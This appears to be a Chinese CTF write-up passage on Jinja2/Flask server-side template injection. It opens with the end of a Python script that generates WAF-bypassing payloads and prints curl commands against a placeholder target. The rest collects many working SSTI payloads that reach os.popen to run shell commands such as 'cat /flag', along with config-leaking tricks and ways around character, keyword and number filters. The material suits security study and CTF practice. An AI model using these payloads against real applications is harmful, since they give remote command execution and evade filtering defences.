hex_preview = converter._encode_underscores_hex(attr)
note = " [魔术方法]" if attr.startswith('__') else ""
print(f" {letter} = {attr:<{max_len}} {C['blue']}(16进制: '{hex_preview}'){C['reset']}{note}")
print()
# 5. 完整请求(不截断)
print(f"{C['yellow']}[完整请求 - Request.Form模式]{C['reset']}")
print(result['full_request'])
print()
# 6. 测试命令
print(f"{C['yellow']}[测试命令]{C['reset']}")
url = "http://target.com/vuln"
# 方式1命令
print(f"{C['green']}# 方式1: Request.Form传参{C['reset']}")
print(f"curl -X POST {url} -d 'code={result['converted']}' -d '{result['params']}'")
print()
# 方式2命令
print(f"{C['green']}# 方式2: 16进制编码(单参数){C['reset']}")
print(f"curl -X POST {url} -d 'code={result['hex_converted']}'")
# 提示
print(f"\n{C['green']}[使用建议]{C['reset']}")
print("• Request.Form模式:适合下划线被完全禁止且允许大POST数据的场景")
print("• 16进制编码模式:适合限制参数数量但允许\\x转义的场景")
print("• 两种模式Payload中均不含裸下划线字符,可绕过基础WAF过滤")
except Exception as e:
print(f"{C['red']}[!] 错误:{e}{C['reset']}")
import traceback
traceback.print_exc()
if __name__ == '__main__':
main()

结果:
code={{(()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(80)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f'))('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
code={{(()|attr(request.form.a)|attr(request.form.b)|attr(request.form.c)()|attr(request.form.d)(80)|attr(request.form.e)|attr(request.form.f)|attr(request.form.d))(request.form.g)|attr(request.form.d)(request.form.h)('os')|attr(request.form.i)('cat flag')|attr(request.form.j)()}}&a=class &b=base &c=subclasses &d=getitem &e=init &f=globals &g=builtins &h=import&i=popen&j=read
过滤点
attr()绕过(这里用的之前的脚本,其实可以不用16进制编码,这里我懒得改了)
python
code={{(()|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fbase\x5f\x5f')|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(80)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f'))('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat flag')|attr('read')()}}
或者
用中括号绕过
python
{{lipsum['__globals__']['os']['popen']('cat /flag')['read']()}}

过滤关键字
过滤了class", "arg", "form", "value", "data", "request", "init", "global", "open", "mro", "base", "attr"相关关键字模板注入
可以用
用[]绕过
原理:
在 SSTI 绕过中,"拼接"并非 [] 的直接功能,而是利用 Python 字符串特性 或 Jinja2 语法 配合 [] 动态构造被过滤的字符串
比如,{``{()['__cla''ss__']}} {# 解析为 '__class__' #}
{{lipsum['glo''bals ']['os']['po''pen']('cat /flag')'read'}}

过滤数字
1.直接用
{{lipsum.globals .os.popen('cat /flag').read()}}
2.用传参绕过
code={{''.class .base .subclasses ()[a].init .globals['popen']('cat /flag').read()}}&a=117
config过滤
url_for 是 Flask 框架中用于生成 URL 的内置函数,但在模板注入攻击中常被利用来访问敏感数据
python
# 直接调用config被过滤无回显
{{ config }}
# 使用以下方式可间接调用config
{{ url_for.__globals__['current_app'].config }}
{{ get_flashed_messages.__globals__['current_app'].config }}


过滤部分符号
目标WAF: bl[''', '"', '+', 'request', '.', '[', ']']
'
"
request
.
,
涉及知识点:
1.join+dict()绕过
2.getitem
3.string()过滤器,强行变成字符
4.list过滤器将字符拆分成列表
python
{{lipsum.__globals__.os.popen('cat /flag').read()}}
转化为:
python
{% set getitem=dict(__getitem__=1)|join %}{% set a=dict(__globals__=1)|join %}{% set b=dict(os=1)|join %}{% set c=dict(popen=1)|join %}{%set f=lipsum|string|list|attr(getitem)(9)%}{%set d=(dict(cat=1)|join,f,dict(flag=1)|join)|join%}{% set e=dict(read=1)|join %}{{lipsum|attr(a)|attr(getitem)(b)|attr(c)(d)|attr(e)()}}
参考payload:
python
{% set getitem = dict(__getitem__=1)|join%}{% set globals=dict(__globals__=1)|join%}{% set os=dict(os=1)|join%}{%set space=lipsum|string|list|attr(getitem)(9)%}{%set payload=(dict(cat=1)|join,space,dict(flag=1)|join)|join%}{% set popen=dict(popen=1)|join%}{% set read=dict(read=1)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
过滤数字及部分符号
思路:
1.用count获得数字
2.用lipsum|string|list|attr(getitem)()获得【空格】和下划线
3.拼接{{lipsum.globals.os.popen('cat flag').read()}}
python
{%set nine=dict(aaaaaaaaa=a)|join|count%}{%set eighteen=dict(aaaaaaaaaaaaaaaaaa=a)|join|count%}{% set getitem = dict(pop=a)|join%}{% set xhx=lipsum|string|list|attr(getitem)(eighteen)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{%set space=lipsum|string|list|attr(getitem)(nine)%}{%set payload=(dict(cat=a)|join,space,dict(flag=a)|join)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
过滤部分符号和关键字
目标WAF: WAF:bl['_', '.', '\', ''', '"', 'request', '+', 'class', 'init', 'arg', 'config', 'app', 'self', '[', ']']
参考payload为:
python
{% set getitem = dict(pop=a)|join%}{% set xhx=lipsum|string|list|attr(getitem)(18)%}{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join%}{% set os=dict(os=a)|join%}{%set space=lipsum|string|list|attr(getitem)(9)%}{%set payload=dict(ls=a)|join%}{% set popen=dict(popen=a)|join%}{% set read=dict(read=a)|join%}{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(payload)|attr(read)()}}
但我的没出来